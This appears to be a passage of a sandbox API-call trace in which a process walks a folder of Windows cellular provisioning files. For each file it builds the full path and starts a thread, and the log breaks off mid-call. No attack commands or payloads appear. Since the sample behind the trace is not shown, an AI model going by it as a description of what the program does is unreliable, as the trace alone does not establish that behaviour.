wcscat (in: _Dest=0x2fa2428, _Source="334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" [0179.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0179.603] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c6a39e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c6a39e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c6a39e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="335__C~1.PRO")) returned 1 [0179.603] wcscmp (_String1="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.603] wcscmp (_String1="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3043a80 [0179.603] wcscpy (in: _Dest=0x3043a80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.603] wcscat (in: _Dest=0x3043a80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.603] wcscat (in: _Dest=0x3043a80, _Source="335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" [0179.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0179.604] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="336__C~1.PRO")) returned 1 [0179.604] wcscmp (_String1="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.604] wcscmp (_String1="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f021d0 [0179.604] wcscpy (in: _Dest=0x4f021d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.604] wcscat (in: _Dest=0x4f021d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.604] wcscat (in: _Dest=0x4f021d0, _Source="336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" [0179.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f021d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0179.604] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="337__C~1.PRO")) returned 1 [0179.604] wcscmp (_String1="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0179.604] wcscmp (_String1="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0179.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x30443e8 [0179.605] wcscpy (in: _Dest=0x30443e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.605] wcscat (in: _Dest=0x30443e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.605] wcscat (in: _Dest=0x30443e8, _Source="337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0179.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30443e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0179.605] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="338__C~1.PRO")) returned 1 [0179.605] wcscmp (_String1="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.605] wcscmp (_String1="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.605] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30545c0 [0179.605] wcscpy (in: _Dest=0x30545c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.605] wcscat (in: _Dest=0x30545c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.605] wcscat (in: _Dest=0x30545c0, _Source="338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30545c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0179.606] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x0, dwReserved1=0x0, cFileName="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="339__C~1.PRO")) returned 1 [0179.606] wcscmp (_String1="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.606] wcscmp (_String1="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x30456b8 [0179.606] wcscpy (in: _Dest=0x30456b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.606] wcscat (in: _Dest=0x30456b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.606] wcscat (in: _Dest=0x30456b8, _Source="339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" [0179.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30456b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0179.607] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="33__CO~1.PRO")) returned 1 [0179.607] wcscmp (_String1="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.607] wcscmp (_String1="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3044948 [0179.607] wcscpy (in: _Dest=0x3044948, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.607] wcscat (in: _Dest=0x3044948, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.607] wcscat (in: _Dest=0x3044948, _Source="33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" [0179.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0179.608] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="340__C~1.PRO")) returned 1 [0179.608] wcscmp (_String1="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.608] wcscmp (_String1="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054968 [0179.608] wcscpy (in: _Dest=0x3054968, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.608] wcscat (in: _Dest=0x3054968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.608] wcscat (in: _Dest=0x3054968, _Source="340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0179.609] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="341__C~1.PRO")) returned 1 [0179.609] wcscmp (_String1="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.609] wcscmp (_String1="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3045000 [0179.609] wcscpy (in: _Dest=0x3045000, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.609] wcscat (in: _Dest=0x3045000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.609] wcscat (in: _Dest=0x3045000, _Source="341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\341__Connections_Cellular_Claro (Puerto Rico)_i0$(__MVID)@WAP.provxml" [0179.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0179.610] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c9060a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90c9060a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90c9060a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", cAlternateFileName="342__C~1.PRO")) returned 1 [0179.610] wcscmp (_String1="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.610] wcscmp (_String1="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3045158 [0179.610] wcscpy (in: _Dest=0x3045158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.610] wcscat (in: _Dest=0x3045158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.610] wcscat (in: _Dest=0x3045158, _Source="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" [0179.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0179.611] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="343__C~1.PRO")) returned 1 [0179.611] wcscmp (_String1="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.611] wcscmp (_String1="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02d58 [0179.611] wcscpy (in: _Dest=0x4f02d58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.611] wcscat (in: _Dest=0x4f02d58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.611] wcscat (in: _Dest=0x4f02d58, _Source="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" [0179.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0179.611] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="344__C~1.PRO")) returned 1 [0179.611] wcscmp (_String1="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.611] wcscmp (_String1="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3043bd8 [0179.612] wcscpy (in: _Dest=0x3043bd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.612] wcscat (in: _Dest=0x3043bd8, _Source="\\" | out: _Dest="C:\\Users\\All 